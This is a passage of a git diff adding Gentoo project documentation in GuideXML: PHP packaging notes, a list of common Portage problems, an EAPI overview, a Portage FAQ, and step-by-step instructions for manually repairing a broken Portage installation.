+the PHP programming language for Gentoo Linux.
+</description>
+
+<longdescription>
+
+<p>
+<b>What we do, and who we are</b>
+</p>
+
+<p>
+The Gentoo PHP Team looks after the packages for the PHP programming language.
+PHP is by far the most important and popular programming language for
+web-based applications, and is the 'P' in the LAMP stack.
+</p>
+
+<p>
+We're also onhand to provide information and support on PHP to other Gentoo 
+developers.
+</p>
+
+</longdescription>
+
+<goals><p>
+Our goal is to ensure that Gentoo provides the best environment possible for 
+developing and running software written in PHP.
+</p></goals>
+
+<!-- Developer Roles -->
+<dev role="Lead" description="Core PHP packages">hoffie</dev>
+<dev role="Member">voxus</dev>
+<dev role="Member">mabi</dev>
+
+<!-- Project Specific Pages/Documentation -->
+<resource link="http://overlays.gentoo.org/proj/php/">The Gentoo PHP Overlay &amp; Wiki</resource>
+<resource link="http://git.overlays.gentoo.org/gitweb/?p=proj/php.git">The Gentoo PHP Git Overlay</resource>
+<resource link="php-guide.xml">Some notes about the way PHP works in Gentoo</resource>
+
+<!-- herds -->
+<herd name="php" />
+
+<!-- Status updates -->
+<extrachapter>
+<title>Status Updates</title>
+<section>
+<title>What are Status Updates?</title>
+<body>
+
+<p>
+We provide regular status updates covering what the Gentoo PHP Team has
+accomplished since the previous status update. It is written by one of
+the team leaders and contains a quick overview of recent progress.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Listing</title>
+<body>
+
+<p>
+The following status updates are available:
+</p>
+
+<!--
+<ul>
+  <li><uri link="status/status_2010Q1.xml>March, 2010</uri></li>
+</ul>
+-->
+
+</body>
+</section>
+</extrachapter>
+
+<!-- Chapter regarding mailing list & participation -->
+<extrachapter>
+<title>Participating</title>
+<section>
+<title>#gentoo-php on irc.freenode.net</title>
+<body>
+
+<p>
+The best way to reach us is on IRC in the <uri 
+link="irc://freenode/gentoo-php">#gentoo-php</uri> channel on irc.freenode.net.
+Please feel free to stop by to talk about PHP on Gentoo. We welcome any
+suggestions for improvement.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Participating</title>
+<body>
+
+<p>
+The best way to get involved with what we do is to hang out in #gentoo-php.
+There are always things to be done (and exciting new ideas to turn into
+reality), and we're always looking for new ways to make Gentoo the first
+choice for developers programming in PHP, and for system administrators running 
+webservers with PHP.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/php/php-guide.xml b/xml/htdocs/proj/en/php/php-guide.xml
new file mode 100644
index 00000000..50ece6fd
--- /dev/null
+++ b/xml/htdocs/proj/en/php/php-guide.xml
@@ -0,0 +1,213 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/php/php-guide.xml,v 1.1 2010/04/23 23:42:19 mabi Exp $ -->
+
+<guide link="php-guide.xml" lang="en">
+<title>Upgrading PHP</title>
+
+<author title="Author">
+ <mail link="akorthaus@web.de">Andreas Korthaus</mail>
+ <mail link="mabi@gentoo.org">Matti Bickel</mail>
+</author>
+
+<abstract>
+	This document describes how PHP is set up in Gentoo.
+</abstract>
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2010-04-22</date>
+
+<chapter>
+<title>PHP package</title>
+<section>
+<title>Basic PHP Packages Consolidated</title>
+<body>
+
+<p>
+	There is only one php package (as opposed to one package for each SAPI like
+	cgi, cli or apache). You can enable the SAPIs you want via USE flags in
+	<c>dev-lang/php</c>. A list of available SAPIs is included below.
+	You can combine them as you wish, but obviously you need at least one of
+	them to make any use of your php installation.
+</p>
+
+<p>
+To choose the SAPI you want, use these USE flags:
+</p>
+
+<ul>
+  <li><c>cgi</c> - builds &amp; installs <path>/usr/bin/php-cgi</path></li>
+  <li><c>cli</c> - builds &amp; installs <path>/usr/bin/php</path></li>
+  <li><c>apache2</c> - builds &amp; installs <c>mod_php</c> for Apache 2.0</li>
+</ul>
+
+<note>
+	There are requests to add <c>fpm</c> as a SAPI. The Gentoo PHP team will
+	support this as soon as the PHP project includes this SAPI in an upstream
+	release of php (most likely php-5.4).
+</note>
+ 
+</body>
+</section>
+
+<section>
+<title>Portage Categories</title>
+<body>
+
+<p>
+The PHP package have been moved from <c>dev-php</c> to <c>dev-lang/php</c>. 
+You can find PECL extensions and other packages depending on the version of PHP
+in the <c>dev-php5</c> category. All version independent packages can be found
+in the <c>dev-php</c> category. This was introduced to support the parallel use
+of PHP4 and PHP5 and will continue with a <c>dev-php6</c> category once the PHP
+project releases a new major version.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Directories and configuration files</title>
+<body>
+
+<ul>
+  <li>The PHP package installs its contents into <path>/usr/lib/php5</path>
+	  (the Apache modules go into the right place for Apache).</li>
+  <li>The PEAR packages and other PHP libraries go into <path>/usr/share/php</path> (was 
+	  <path>/usr/lib/php</path> before).</li>
+  <li>PECL packages will no longer add configuration directives by adding them 
+	  to the <path>php.ini</path> configuration file, but add a 
+	  <path>[PACKAGE].ini</path> file to the <path>/etc/php/[SAPI]/ext</path> 
+	  directory.</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Symlinking of PHP binaries</title>
+<body>
+
+	<p> The PHP package will create symlinks in <path>/usr/bin</path> for the
+		version of PHP you installed most recently. Currently, your choice is
+		restricted to PHP major version 5. However, the Gentoo PHP team may
+		allow a more fine grained slotting or introduce PHP6 to the tree. You
+		can then <uri link="#doc_chap3_sect5">use the php-select tool</uri>
+		from <c>app-admin/php-toolkit</c> to change the symlinks.  </p>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>Configuration</title>
+
+<section>
+<title>USE flags</title>
+<body>
+	<p>
+		For a list of recommended USE flags look at <uri
+			link="http://overlays.gentoo.org/proj/php/wiki/CommonQuestions">
+			Recommend USE flags</uri>. For a list of USE flags available for
+		PHP have a look at the <uri
+			link="http://overlays.gentoo.org/proj/php/wiki/NewUseFlags">USE
+			flags table</uri> from overlay wiki.
+	</p>
+</body>
+</section>
+
+<section>
+<title>Configuration files</title>
+<body>
+
+<p>
+The Gentoo PHP Package stores configuration in <path>/etc/php</path>, which
+contains one subdirectory for each SAPI for each PHP version (only PHP5 for
+now):
+</p>
+
+<pre caption="list PHP config directories">
+$ <i>ls -1 /etc/php</i>
+apache2-php5
+cli-php5
+cgi-php5
+</pre>
+
+<p> Every subdirectory contains an own <path>php.ini</path>, but external
+	(shared) extension are now kept in their own
+	<path>/etc/php/{apach2,cli,cgi}-php5/ext</path> directory. To enable/
+	disable shared extensions, symlinks from <path>/etc/php/*/ext-active</path>
+	are used. If you want to enable an extension, create a symlink in
+	<path>/etc/php/*/ext-active</path> to the corresponding
+	<path>[EXTENSION].ini</path> file in <path>/etc/php/*/ext/</path>. If you
+	want to disable an extension, remove the symlink.  </p>
+
+<note> If you install PHP as an Apache module, make sure to restart Apache
+	after installation and configuration.  </note>
+
+</body>
+</section>
+
+<section>
+<title>Configure Apache to work with PHP5</title>
+<body>
+
+	<p> To configure Apache to load your PHP5 module (mod_php), you have to add
+		<c>-D PHP5</c> to <c>APACHE2_OPTS</c> variable in
+		<path>/etc/conf.d/apache2</path>.  </p>
+
+<pre caption="Configure Apache to load mod_php">
+<comment>(settings for PHP5)</comment>
+<i>APACHE2_OPTS="-D PHP5"</i>
+</pre>
+
+<note>You can not use two different PHP modules with Apache at the same time.</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Support / Getting Help</title>
+<section>
+<body>
+
+<p> If you run into problems with the new Gentoo PHP packages, here's where you
+	can get help: </p>
+
+<ul>
+  <li>
+    <uri link="http://overlays.gentoo.org/proj/php/wiki/CommonQuestions">Common
+    Questions</uri> about PHP on Gentoo
+  </li>
+  <li>
+    <uri link="http://overlays.gentoo.org/proj/php/">Development-Page of the PHP
+    Overlay</uri>
+  </li>
+  <li>
+    #gentoo-php on irc.freenode.net; this is the chatroom where the overlay's
+    regular authors hang out. We'd love to see you there!
+  </li>
+  <li>
+    <uri link="http://forums.gentoo.org/">Gentoo Forums</uri> are a popular
+    place to ask for help. There are plenty of other Gentoo users reading the
+    Forums round the clock, making it a great place to get help in a hurry.
+  </li>
+</ul>
+
+<p> On the <uri link="http://overlays.gentoo.org/proj/php/">Development-Page</uri>
+	you'll find a lot of documentation and <uri
+	link="http://git.overlays.gentoo.org/gitweb/?p=proj/php.git">our git
+	repository</uri> provides a test ground for packages, which will be moved
+	to the official Portage tree later.  </p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/portage/doc/common-problems.xml b/xml/htdocs/proj/en/portage/doc/common-problems.xml
new file mode 100644
index 00000000..1ef21f9a
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/doc/common-problems.xml
@@ -0,0 +1,116 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/portage/doc/common-problems.xml">
+<title>Common portage problems</title>
+<author>
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+
+<abstract>
+This document attempts to collect all information regarding common major problems
+caused by inconsistencies between the portage version and the tree.
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>19 Feb 2006</date>
+
+<chapter>
+<title>Overview</title>
+
+<section>
+<title>Scope</title>
+<body>
+<p>This document deals only with major problems preventing normal operation
+that have affected a significant number of users in the past (or problem we 
+expect to affect a significant number of users). If you have a problem and 
+don't find it listed here please check if the problem is listed at 
+<uri link="http://bugs.gentoo.org">bugzilla</uri> 
+(please also search for closed/resolved bugs), and if not please file a 
+bugreport there, even if you found a solution or workaround somewhere else.</p>
+</body>
+</section>
+
+<section>
+<title>Portage upgrades</title>
+<body>
+<p>Often the solution to a portage related problem is to simply update portage
+first. We recommended to do that regulary (every three or four months), as over
+time the portage tree will make use of features introduced by new portage 
+releases, and that will often break old versions. We generally make sure that
+the tree is compatible with portage versions released in the past six months, so
+if you don't have version released in that timeframe it is possible that you
+won't be able to use the tree anymore.</p>
+<p>The recommended way to upgrade portage is a simple <c>emerge portage</c> without
+any options, especially without the <c>--update</c> option as it causes some unwanted
+behavior for single package updates.</p>
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Common problems</title>
+
+<!-- add new problems in reverse chronological order, so the newest problems are
+listed first -->
+
+<section>
+<body>
+<p>
+<b><e>Receiving "!!! Cannot resolve a virtual package name to an
+ebuild." while updating portage cache</e></b>
+</p>
+<ul><li>Bugreport: <uri link="http://bugs.gentoo.org/show_bug.cgi?id=114798">114798</uri></li>
+	<li>Caused by: old portage version</li>
+	<li>Solution: update portage and run <c>emerge --sync</c> again</li>
+</ul>
+
+<p>
+<b><e>Attempts to install any and all packages result in
+"!!! No package digest file found:" errors</e></b>
+</p>
+<ul><li>Caused by: portage-2.0.x does not have Manifest2 support</li>
+	<li>Solution: <uri link="manually-fixing-portage.xml">
+	manually update to at least portage-2.1</uri></li>
+</ul>
+
+<p>
+<b><e>Receiving <br/>
+&nbsp;&nbsp;&nbsp;&nbsp;portage.db["/"]["porttree"].dbapi.auxdb[porttree_root][cat].clear()<br/>
+&nbsp;&nbsp;&nbsp;&nbsp;KeyError: 'app-dicts'<br/>
+while updating portage cache</e></b>
+</p>
+<ul><li>Bugreport: <uri link="http://bugs.gentoo.org/show_bug.cgi?id=100444">100444</uri></li>
+	<li>Caused by: old portage version</li>
+	<li>Solution: update portage and run <c>emerge --sync</c> again</li>
+</ul>
+
+<p>
+<b><e>Any emerge operation results in "!!! 'str' object has no attribute 'insert'"</e></b>
+</p>
+<ul><li>Bugreport: <uri link="http://bugs.gentoo.org/show_bug.cgi?id=63400">63400</uri></li>
+	<li>Caused by: ancient portage version in combination with cascaded profiles</li>
+	<li>Solution: a) <uri link="manually-fixing-portage.xml">manually update portage</uri> or
+			      b) use a flat profile according to 
+				  <uri link="http://bugs.gentoo.org/show_bug.cgi?id=63400#c49">bug 63400</uri>,
+				  update portage and update to a current (cascaded) profile</li>
+</ul>
+
+<p><b><e>
+After <c>emerge --sync</c>, emerge "Calculating dependencies" takes an
+extremely long time. Similarly, after cvs update, "RepoMan scours the
+neighborhood" takes an extremely long time.
+</e></b></p>
+<ul><li>Bugreport: <uri link="http://bugs.gentoo.org/show_bug.cgi?id=124041">124041</uri></li>
+	<li>Caused by: invalid metadata cache in /var/cache/edb/dep</li>
+	<li>Solution: run <c>emerge --regen</c></li>
+</ul>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/portage/doc/eapi.xml b/xml/htdocs/proj/en/portage/doc/eapi.xml
new file mode 100644
index 00000000..a79513fc
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/doc/eapi.xml
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/portage/doc/eapi.xml,v 1.23 2006/04/06 00:32:27 chriswhite Exp $ -->
+
+<guide link="/proj/en/portage/doc/eapi.xml" lang="en" disclaimer="draft">
+<title>Ebuild Application Programming Interface (EAPI) Overview</title>
+
+<author title="Author">
+  <mail link="antarus@gentoo.org">Alec Warner</mail>
+</author>
+<author title="GuideXML">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+
+<abstract>
+EAPI is a mechanism introduced in Portage versions 2.0.53 and greater.
+This mechanism allows Portage to detect and mask ebuilds for which it knows it
+cannot process properly. This document describes the general background about
+the EAPI and the logic behind it.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-04-04</date>
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Rationale</title>
+<body>
+
+<p>
+Older <c>Portage</c> versions would improperly process or die if the application
+encountered an ebuild which used a newer feature not available in that version
+of Portage.  Often features would be added to Portage and not released for
+general use in the tree for a while ( six months or more ).  This caused feature
+deprivation as a bunch of time was always required once a feature was released
+to be relatively sure that all users had a recent version of portage.  This can
+be seen most recently with the <uri 
+link="https://bugs.gentoo.org/114798">new-style virtuals (Bug
+&#035;114798)</uri> which broke portage.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Implementation</title>
+<section>
+<title>Portage</title>
+<body>
+
+<p>
+EAPI is implemented in versions of Portage greater than or equal to 2.0.53. Each
+version of Portage has a supported EAPI value.  All current versions of Portage
+have an EAPI of 0. This EAPI value is set in
+<path>/usr/lib/portage/pym/portage_const.py</path>.  Basically, if an ebuild
+declares an EAPI that is greater than the EAPI of the Portage version that is
+accessing the ebuild, the ebuild is masked by EAPI aware versions of Portage.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ebuilds</title>
+<body>
+
+<p>
+Ebuilds may declare what version of EAPI they use.  For backwards compability,
+if an ebuild does not declare an EAPI, it's EAPI is assumed to be the default (
+currently set to 0 ). An ebuild would declare a higher EAPI if it used any new
+functionality.  Such a function would be something like default USE flags in
+<c>IUSE</c>. Normally an ebuilds IUSE is one such as this:
+</p>
+
+<pre caption="Pre EAPI IUSE">
+IUSE="foo bar baz"
+</pre>
+
+<p>
+However with the new default USE in IUSE feature the IUSE line could be
+something such as:
+</p>
+
+<pre caption="EAPI IUSE">
+IUSE="foo +bar -baz"
+</pre>
+
+<p>
+If an old version of portage attempts to parse the new-style IUSE line it could
+very well get incorrect data and traceback.  It also won't turn on or off the
+specified use flags like the ebuild would expect.
+</p>
+
+</body>
+</section>
+<section>
+<title>Cache</title>
+<body>
+
+<p>
+If Portage attempts to generate a cache entry for an ebuild and the ebuild has
+an EAPI value that is not supported by that version of Portage, the values in
+the cache entry for that ebuild are set to empty and the corresponding EAPI
+value is negated.  This is done both to notify Portage that the ebuild is using
+features that the currently running Portage cannot support, but also to inform
+the rest of Portage that the cache entries are empty.  Future enhancements
+covered by EAPI may in fact invalidate how the cache entries are generated
+and/or stored, thus once Portage determines that it doesn't support that EAPI
+version, all bets on the data in the ebuild are off.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/portage/doc/faq.xml b/xml/htdocs/proj/en/portage/doc/faq.xml
new file mode 100644
index 00000000..a445da7a
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/doc/faq.xml
@@ -0,0 +1,202 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/portage/doc/faq.xml,v 1.42 2010/08/23 03:49:35 zmedico Exp $ -->
+
+<guide link="/proj/en/portage/doc/faq.xml" lang="en">
+<title>Portage Frequently Asked Questions (FAQ)</title>
+
+<author title="Author">
+  <mail link="antarus@gentoo.org">Alec Warner</mail>
+</author>
+<author title="Contributor">
+  <mail link="zmedico@gentoo.org">Zac Medico</mail>
+</author>
+<author title="GuideXML">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+
+<abstract>
+FAQ Frequently Asked Questions about Portage.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2009-03-27</date>
+<chapter>
+<title>Frequently Asked Questions</title>
+
+<section>
+<title>
+How can "blocks" between packages be resolved?
+</title>
+<body>
+<p> See the <uri
+link="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?full=1#blocked">
+Blocked Packages section in the Gentoo Handbook</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Why is it that emerge does not update all packages?</title>
+<body>
+
+<p>
+By default, the dependency graph may not include some packages. For example,
+it will not include any packages that are listed in the output of
+<c>emerge --pretend --depclean</c>. It will also not include any build time
+dependencies for installed packages or binary packages. If you would like to
+include such build time dependencies even though they are not strictly
+required, use <c>--with-bdeps=y</c>. You can set
+<c>EMERGE_DEFAULT_OPTS="--with-bdeps=y"</c> in <path>/etc/make.conf</path> if
+you would like this option to be enabled by default.
+If you would like a specific package to be updated in any case, you can use
+<c>emerge --noreplace &lt;atom&gt;</c> to have it added to the world set.
+</p>
+<p>
+After running <c>emerge --deep --with-bdeps=y --update world</c>,
+it is a good idea to
+use <c>emerge --pretend --depclean</c> to see if there are any packages that
+it would remove. If that command shows a package that you would like to keep,
+use <c>emerge --noreplace &lt;atom&gt;</c> to have it added to the world set.
+</p>
+<warn>When you use <c>emerge --depclean</c> to remove unwanted packages, it is
+a good idea to run <c>revdep-rebuild</c> (from the gentoolkit package)
+afterwards.</warn>
+<note>Run <c>man emerge</c> to view the manual page which documents all
+<c>emerge</c> options.</note>
+
+</body>
+</section>
+
+<section>
+<title>
+How can I check for reverse dependencies of a package,
+to know if it can be safely uninstalled?
+</title>
+<body>
+
+<p>
+Run <c>emerge --depclean --pretend --verbose [atom]...</c> to see if there
+are any reverse dependencies for matched packages.
+</p>
+<warn>When you use <c>emerge --depclean</c> to remove unwanted packages, it
+is a good idea to run <c>revdep-rebuild</c> (from the gentoolkit package)
+afterwards.</warn>
+</body>
+</section>
+
+<section>
+<title>Can I mount the portage tree (/usr/portage) via NFS?</title>
+<body>
+
+<p>
+It is possible to share the portage tree (<path>/usr/portage</path>) over NFS
+so that <c>emerge --sync</c> only needs to be run on an NFS server. However,
+even though NFS clients do not need to run <c>emerge --sync</c>, they must run
+<c>emerge --metadata</c> each time that the portage tree
+is updated since otherwise their dependency calculations will slow down due to
+their metadata cache (located in <path>/var/cache/edb/dep</path>) becoming
+stale.
+</p>
+<note>NFS clients do not need to run <c>emerge --metadata</c> if they have the
+metadata_overlay cache module enabled in <path>/etc/portage/modules</path>.
+The portage manual page (run <c>man portage</c>) describes the steps necessary
+to enable this.
+</note>
+<note>With versions of portage >=2.1.5_rc6 there is never any need to run
+<c>emerge --metadata</c> as long as the user has not enabled
+FEATURES="metadata-transfer" in make.conf. When metadata-transfer is disabled,
+metadata cache from the <path>/usr/portage/metadata/cache/</path>
+directory will be used directly. Run <c>man make.conf</c> to
+learn more about metadata-transfer.
+</note>
+<p>
+If you encounter
+problems with an NFS setup it is important that you ensure you have the proper locking
+daemons on both the NFS client machines and the NFS server machine.  Portage uses
+hardlinks over NFS in an attempt to lock files; if the locking daemon fails to lock
+files Portage may complain about failed or stale locks.  There is a script 
+<path>/usr/lib/portage/bin/clean_locks</path> that can be used to clean out old lockfiles.
+</p>
+
+</body>
+</section>
+
+<section>
+	<title>
+	Why does the @preserved-rebuild set contain packages that have
+	already been rebuilt?
+	</title>
+	<body>
+		<p>
+		This is a <uri link="http://bugs.gentoo.org/show_bug.cgi?id=230257">
+		common problem</uri> which indicates that the build system for the
+		given ebuild causes the package to inappropriately link against the
+		old (preserved) version of the library, instead of the new one. As a
+		workaround, you can manually remove the old library (such as
+		libreadline.so.5.2) and then run <c>revdep-rebuild</c> in order to
+		rebuild the packages which linked against it. A list of all preserved
+		libraries may be obtained from the command
+		`<c>portageq list_preserved_libs /</c>`.
+		</p>
+	</body>
+</section>
+
+<section>
+	<title>
+		When packages are built in parallel with the --jobs option, why
+		aren't some packages installed immediately after they have
+		finished building? They are installed only after a long delay.
+	</title>
+	<body>
+		<p>
+			As a safety precaution, installation actions for system packages
+			and their deep dependecies are executed only when no other
+			packages are building. This behavior is required in order to avoid
+			cases like
+			<uri link="http://bugs.gentoo.org/show_bug.cgi?id=256616">
+			bug 256616 (unspecified system dependencies)</uri> and
+			<uri link="http://bugs.gentoo.org/show_bug.cgi?id=259954">
+			bug 259954 (temporarily unsatisfied system dependencies)</uri>.
+		</p>
+	</body>
+</section>
+
+<section>
+	<title>
+		Why doesn't emerge --pretend output show the correct SLOT for a
+		package with USE=multislot enabled?
+	</title>
+	<body>
+		<p>
+			Since ebuilds that support USE=multislot violate established rules
+			about "constant metadata", cached SLOT value differs from the SLOT
+			value that you will actually get once the package is installed.
+			There is nothing portage can do about this except to implement an
+			extension such as
+			<uri link="http://bugs.gentoo.org/show_bug.cgi?id=174407">
+			bug #174407</uri>.
+		</p>
+	</body>
+</section>
+
+<section>
+	<title>
+		Why is portage-2.2_rc masked?
+	</title>
+	<body>
+		<p>
+			Portage 2.2 is masked due to known bugs in the package sets and
+			preserve-libs features. See
+			<uri link="http://bugs.gentoo.org/show_bug.cgi?id=253802">
+			bug #253802</uri> for details.
+		</p>
+	</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/portage/doc/manual/index.xml b/xml/htdocs/proj/en/portage/doc/manual/index.xml
new file mode 100644
index 00000000..5ef643de
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/doc/manual/index.xml
@@ -0,0 +1,38 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/portage/doc/manual/index.xml,v 1.1 2006/02/19 01:14:11 genone Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/portage/manual.xml">
+<title>Gentoo Portage Technical Reference</title>
+
+<author title="Author">
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+  <mail link="ferringb@gentoo.org">Brian Harring</mail>
+  <mail link="jstubbs@gentoo.org">Jason Stubbs</mail>
+  <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+
+<abstract>
+This is the authorative information about the technical aspects of the Gentoo
+Portage system.
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>$Date: 2006/02/19 01:14:11 $</date>
+
+<chapter>
+<title>Introduction</title>
+
+<section>
+<title>What is this?</title>
+<body>
+<p></p>
+</body>
+</section>
+
+</chapter>
+
+</guide>
+
diff --git a/xml/htdocs/proj/en/portage/doc/manually-fixing-portage.xml b/xml/htdocs/proj/en/portage/doc/manually-fixing-portage.xml
new file mode 100644
index 00000000..b7fc481b
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/doc/manually-fixing-portage.xml
@@ -0,0 +1,174 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/portage/doc/manually-fixing-portage.xml,v 1.16 2010/08/18 05:20:27 zmedico Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/portage/doc/manually-fixing-portage.xml">
+
+<title>Manually fixing broken portage installations</title>
+
+<author>
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+
+<abstract>
+This document attempts to help people to manually fix a broken sys-apps/portage
+installation.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.3</version>
+<date>2007-05-31</date>
+
+<chapter>
+<title>Manually fixing portage</title>
+<section>
+<title>Purpose</title>
+<body>
+
+<p>
+This section will tell you how to manually update/fix your portage installation
+in case you can't run <c>emerge sys-apps/portage</c>. While not hard it is
+still to be done with great care, so please follow the listed steps exactly
+(but apply common sense when necessary).
+</p>
+
+</body>
+</section>
+<section>
+<title>Getting a portage tarball</title>
+<body>
+
+<p>
+The first step to do is to get the tarball of a current portage version. In the
+following text we will use <e>portage-2.1.8</e> as an example (as this is the
+current stable version at the time of this writing), please replace that with a
+version present in the tree if possible. 
+</p>
+
+<table>
+<tr><th>Python Version</th><th>Portage Version</th></tr>
+<tr>
+	<ti>&lt;= Python 2.5</ti>
+	<ti>
+		<uri link="http://distfiles.gentoo.org/distfiles/portage-2.1.6.tar.bz2">
+			portage-2.1.6.tar.bz2
+		</uri>
+	</ti>
+</tr>
+<tr>
+	<ti>&gt;= Python 2.6</ti>
+	<ti>
+		<uri link="http://distfiles.gentoo.org/distfiles/portage-2.1.8.tar.bz2">
+			portage-2.1.8.tar.bz2
+		</uri>
+	</ti>
+</tr>
+</table>
+
+<warn>
+If your currently installed version of python reported by <c>python -V</c>
+is less than 2.6 then you must choose a version of portage that is compatible with 
+it. If you have at least python 2.6 then use <e>portage-2.1.8.tar.bz2</e>. If 
+you have python 2.4 or 2.5 then use <e>portage-2.1.6.tar.bz2</e>.
+</warn>
+
+<p>
+Depending on the exact reason portage doesn't work for you anymore it may still
+be possible to use it to fetch the tarball for you, so as a first step please
+try to run <c>emerge --fetchonly sys-apps/portage</c>, only if that doesn't
+work you have to manually fetch the tarball with:
+</p>
+
+<pre caption="Fetching portage tarball with wget">
+# <i>wget -P /usr/portage/distfiles http://distfiles.gentoo.org/distfiles/portage-2.1.8.tar.bz2</i>
+</pre>
+
+<p>
+After that you should have the tarball available as
+<path>/usr/portage/distfiles/portage-2.1.8.tar.bz2</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Replacing the installed version</title>
+<body>
+
+<p>
+The next step is to unpack the tarball to a temporary location, using
+<path>/root/portage-recover</path> as example the commands to do that are:
+</p>
+
+<pre caption="Unpacking portage tarball">
+# <i>cd /root</i>
+# <i>mkdir portage-recover</i>
+# <i>cd portage-recover</i>
+# <i>tar xfj /usr/portage/distfiles/portage-2.1.8.tar.bz2</i>
+</pre>
+
+<p>
+After you have done this it's just a matter of replacing the python and bash
+files of your existing installation with the ones from the tarball (in most
+cases anyway). To do so please run:
+</p>
+
+<pre caption="Replacing installed files">
+# <i>cd /root/portage-recover/portage-2.1.8</i>
+# <i>rm -rf /usr/lib/portage/*</i>
+# <i>cp -R pym bin /usr/lib/portage/</i>
+</pre>
+
+<p>
+If you are not using Gentoo on FreeBSD then you should remove the sed wrapper
+script since it's not needed and it is known to cause problems with old
+versions of bash:
+</p>
+
+<pre caption="Removing the sed wrapper script">
+# <i>rm -f /usr/lib/portage/bin/sed</i>
+</pre>
+
+<note>
+If you accidently unmerged portage before or lost 
+<path>/etc/make.globals</path> for other reasons you should also copy 
+<path>cnf/make.globals</path> back into <path>/etc</path>, otherwise
+portage might behave in strange ways.
+</note>
+<note>
+If the previous version of portage was less than 2.1 then you should now run
+<c>emerge --metadata</c> before continuing to the next step. This is necessary
+in order to convert the ebuild metadata to the new format that is used by
+portage 2.1 and above. It is okay to run this command even if you are not sure
+what the previous version of portage was.
+</note>
+
+<p>
+Now you should have a working portage install again. To ensure a consistent
+system state however you should now run <c>emerge sys-apps/portage</c> again
+immediately.
+</p>
+
+<p>
+If you get a <e>command not found</e> error message when you try to run
+<c>emerge</c> you have to recreate the symlink:
+</p>
+
+<pre caption="Recreating the emerge symlink">
+# <i>ln -sf ../lib/portage/bin/emerge /usr/bin/emerge</i>
+</pre>
+
+<p>
+If these steps didn't work for you your problem is likely not a broken portage
+installation but something else beyond the scope of this document. Please
+recheck the <uri link="/proj/en/portage/doc/common-problems.xml">list of common
+problems</uri> and also look in <uri
+link="http://bugs.gentoo.org">bugzilla</uri> if the problem is reported there.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/portage/doc/policies/bugzilla.xml b/xml/htdocs/proj/en/portage/doc/policies/bugzilla.xml
new file mode 100644
index 00000000..41b33913
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/doc/policies/bugzilla.xml
@@ -0,0 +1,112 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/portage/doc/policies/bugzilla.xml">
+<title>Portage bug handling</title>
+<author>
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+
+<abstract>
+Rules how to classify and resolve bug reports.
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>02 Jul 2006</date>
+
+<chapter>
+<title>Dislaimer</title>
+<section>
+<body>
